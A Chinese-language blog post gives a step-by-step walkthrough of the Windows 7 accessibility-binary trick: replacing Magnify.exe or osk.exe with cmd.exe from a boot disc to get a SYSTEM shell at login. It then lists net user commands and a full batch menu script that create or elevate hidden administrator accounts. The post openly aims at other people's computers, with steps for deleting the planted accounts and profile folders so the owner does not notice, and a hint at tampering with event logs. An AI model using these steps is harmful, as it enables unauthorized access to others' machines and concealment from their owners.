close

漏洞是僅限於單機操作沒錯,但原VISTA就有的漏洞,但在WIN7還是存在,而且從Win2000開始就有類似漏洞,像Win2000輸入法點說明可變相執行cmd.exe漏洞般,而Win7的漏洞更是顯得可笑,MS對漏洞根本不重視。

將Magnify.exe 放大鏡備份後,再將檔案實際替換成cmd.exe
重新啟動Windows 7,並啟用放大鏡/螢幕小鍵盤                                                     

最常見,下載Win PE / XPE 之類的啟動光碟,再用光碟啟動電腦,並選擇進入Win PE
將c:\windows\system32下的Magnify.exe重新命名為Magnify1.exe ; 將cmd.exe複製並命名為Magnify.exe 
;dos批次指令內容;
cd c:\windows\system32\
ren Magnify.exe Magnify1.exe
copy cmd.exe Magnify.exe 

當然如果你有機會能直接在Win7中,
並且是在最高權限帳戶下,就直接執行編輯好的批次檔

重新啟動Windows 7並啟用放大鏡,實際是執行替換成的cmd.exe    

總之不管是將螢幕小鍵盤osk.exe 還是放大鏡Magnify.exe...改名成cmd.exe,只要你能登入時實際執行cmd.exe 


我先說好了,基本上就是osk.exe/Magnify.exe / arrator.exe其中之一,替換成cmd.exe 以system次管理者身份權限執行下列動作。

這代表什麼,system次管理者身份是什麼東東??
system次管理者身份介於administrator之間,是沒有權限但可以設定權限

先輸入 net user  看目前有什麼帳戶存在

如果你從沒設定過administrator的密碼,就只是啟用原有最高權限帳戶
輸入 net user administrator /active:yes ,重新啟動後修改密碼即可登入...    
就是失敗有設定過administrator的密碼

如果你有設定過administrator的密碼,那也只是需要建立新的最高權限帳戶

建立新帳戶asd 密碼123456,並使其有administrators最高管理者權限
net user asd 123456 /add
net localgroup administrators asd /add
        

你其實可以直接啟用內建但被禁用的Guest帳戶,並變更為最高權限帳戶
net user Guest /active:yes 
net localgroup administrators Guest /add 

最後記得擦屁股,如果你用的電腦是別人的話
切換使用者帳戶或登出,看見多出的帳戶不是很奇怪嗎

administrator變回禁用
net user administrator /active:no

刪除新帳戶asd
net user asd /delete

Guest帳戶變回原本Guests權限並禁用
net localgroup administrators Guest /del 
net user Guest /active:no

最重要的事:刪除帳戶目錄
(可能不重要,如果原電腦主人沒發現c:\user 內有多幾個目錄):

先切換到c:\user查看有什麼目錄
cd c:\user |dir
刪除新帳戶asd目錄

rd /s/q  asd

我再說一下,system次管理者身份介於administrator之間,是沒有權限但可以設定權限 
輸入 net user  看目前有什麼帳戶存在

 


win7.cmd內容,請勿改名,這樣只要在cmd.exe輸入win7
==
cls
@echo off
echo.
echo. 現在時間 %date% %time%
echo. 第一次執行時空白輸入,將使用 預設帳號asd   預設密碼123456
echo. 第一次輸入帳號和密碼會暫時記錄,若因暫時記錄有輸入錯誤請自行修正
net user
echo.-------------------------------
echo. (1)建新帳戶  (2) 刪除帳戶 (3)最高權限
echo.
echo. (4)來客權限  (5)一般權限  (6)重啟帳戶
echo.
echo. (7)禁用帳戶  (8 更改密碼  (9)離開
echo.-------------------------------
echo.刪除帳戶目錄  c:\user 內有多幾個目錄
echo.刪除新帳戶asd目錄 指令  rd /s/q  asd
echo.-------------------------------
echo.查詢帳戶語法 : net user 帳戶名
set /p win7=

if %win7%==9 goto exit
if %win7%==8 goto pass
if %win7%==7 goto activeno
if %win7%==6 goto activeyes
if %win7%==5 goto pwuser
if %win7%==4 goto pwguests
if %win7%==3 goto pwadm
if %win7%==2 goto pwdel
if %win7%==1 goto pwadd

:exit
exit

: pass
echo.需先取得最高權限,才可以更改密碼
SET /P pd=帳戶:
SET /P pw=更改密碼:
if defined pd (echo 建立帳戶%pd%,請確定沒有重複帳戶) else (echo 你沒有輸入帳戶) 
if "%pd%"=="" (echo 空白時預設帳戶asd) &&  set pd=asd
if defined pw (echo 密碼%pw%,請記好你剛輸入的密碼) else (echo 你沒有輸入密碼) 
if "%pw%"=="" (echo 輸入為空白時,預設密碼123456) &&  set pw=123456
echo.net user %pd% %pw% 
net user %pd% %pw%
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

:activeno
SET /P pd=禁用帳戶:
if defined pd (echo 禁用帳戶%pd%,請確定有此帳戶) else (echo 你沒有輸入帳戶) 
if "%pd%"=="" (echo 空白時輸入預設帳戶asd) &&  set pd=asd
echo.net user asd /active:no
net user asd /active:no
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

:activeyes
SET /P pd=啟用帳戶:
if defined pd (echo 啟用帳戶%pd%,請確定有此帳戶) else (echo 你沒有輸入帳戶) 
if "%pd%"=="" (echo 空白時輸入預設帳戶asd) &&  set pd=asd
echo.net user asd /active:yes
net user asd /active:yes
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

:pwuser
SET /P pd=變更為user權限帳戶:
if defined pd (echo 變更帳戶%pd%,請確定有此帳戶) else (echo 你沒有輸入帳戶) 
if "%pd%"=="" (echo 空白時輸入預設帳戶asd) &&  set pd=asd 
echo.net localgroup guests asd /add     取得guests權限
net localgroup administrators %pd% /del 
net localgroup guests %pd% /del 
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

:pwguests
SET /P pd=變更為Guests權限帳戶:
if defined pd (echo 變更帳戶%pd%,請確定有此帳戶) else (echo 你沒有輸入帳戶) 
if "%pd%"=="" (echo 空白時輸入預設帳戶asd) &&  set pd=asd 
echo.net localgroup guests asd /add     取得guests權限
net localgroup administrators %pd% /del 
net localgroup guests %pd% /add
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

:pwadm
SET /P pd=變更為最高權限帳戶:
if defined pd (echo 變更帳戶%pd%,請確定有此帳戶) else (echo 你沒有輸入帳戶) 
if "%pd%"=="" (echo 空白時輸入預設帳戶asd) &&  set pd=asd
echo.net localgroup administrators %pd% /add
net localgroup administrators %pd% /add 
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

:pwdel
SET /P pd=刪除帳戶:
if defined pd (echo 變更帳戶%pd%,請確定有此帳戶) else (echo 你沒有輸入帳戶) 
if "%pd%"=="" (echo 空白時輸入預設帳戶asd) &&  set pd=asd
echo.net user %pd% /delete
net user %pd% /delete
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

: pwadd
SET /P pd=建立新帳戶:
SET /P pw=密碼:
if defined pd (echo 建立新帳戶%pd%,請確定沒有重複帳戶) else (echo 你沒有輸入帳號) 
if "%pd%"=="" (echo 空白時預設帳戶asd) &&  set pd=asd
if defined pw (echo 密碼%pw%,請記好你剛輸入的密碼) else (echo 你沒有輸入密碼) 
if "%pw%"=="" (echo 輸入為空白時,預設密碼123456) &&  set pw=123456
echo.net user %pd% %pw% /add
echo.net localgroup administrators %pd% /add
net user %pd% %pw% /add
net localgroup administrators %pd% /add
ping 127.0.0.1 -n 5 -w 1000 > nul
goto WIN7exit

:WIN7exit
net user %pd%
===
以上是我最原始的批次檔內容廢話敘述很多,後來簡化過一次,發現依一般人需求只有4個而已
只要作  1.建立最高權限帳戶 2.刪除最高權限帳戶和其帳戶目錄  3.啟用/禁用此最高權限帳戶   三個選項就好了

不過我想應該只要,1.建立最高權限帳戶 2.刪除最高權限帳戶和其帳戶目錄 ,所以win7.cmd只要打兩行就可以了

請問有人複制上面的東西了嗎,其實可以不用那麼麻煩
對了!記得執行 logoff 登出指令,沒人改密碼還要重開機的
你也可以呆呆的用explorer.exe再執行切換使用者或登出
當然你也可以很帥氣的輸入 user32.dll,LockWorkStation

p.s:我是用不啟動explorer.exe但卻用win視窗鍵+L來登出啦


執行compmgmt.msc,點擊 事件檢視器→系統→事件,可以看到登入登出關機等記錄。

這其實也可以用另類的手法刪除或修改及使其時間的操作不存入記錄內。

arrow
arrow

    pcorz 發表在 痞客邦 留言(2) 人氣()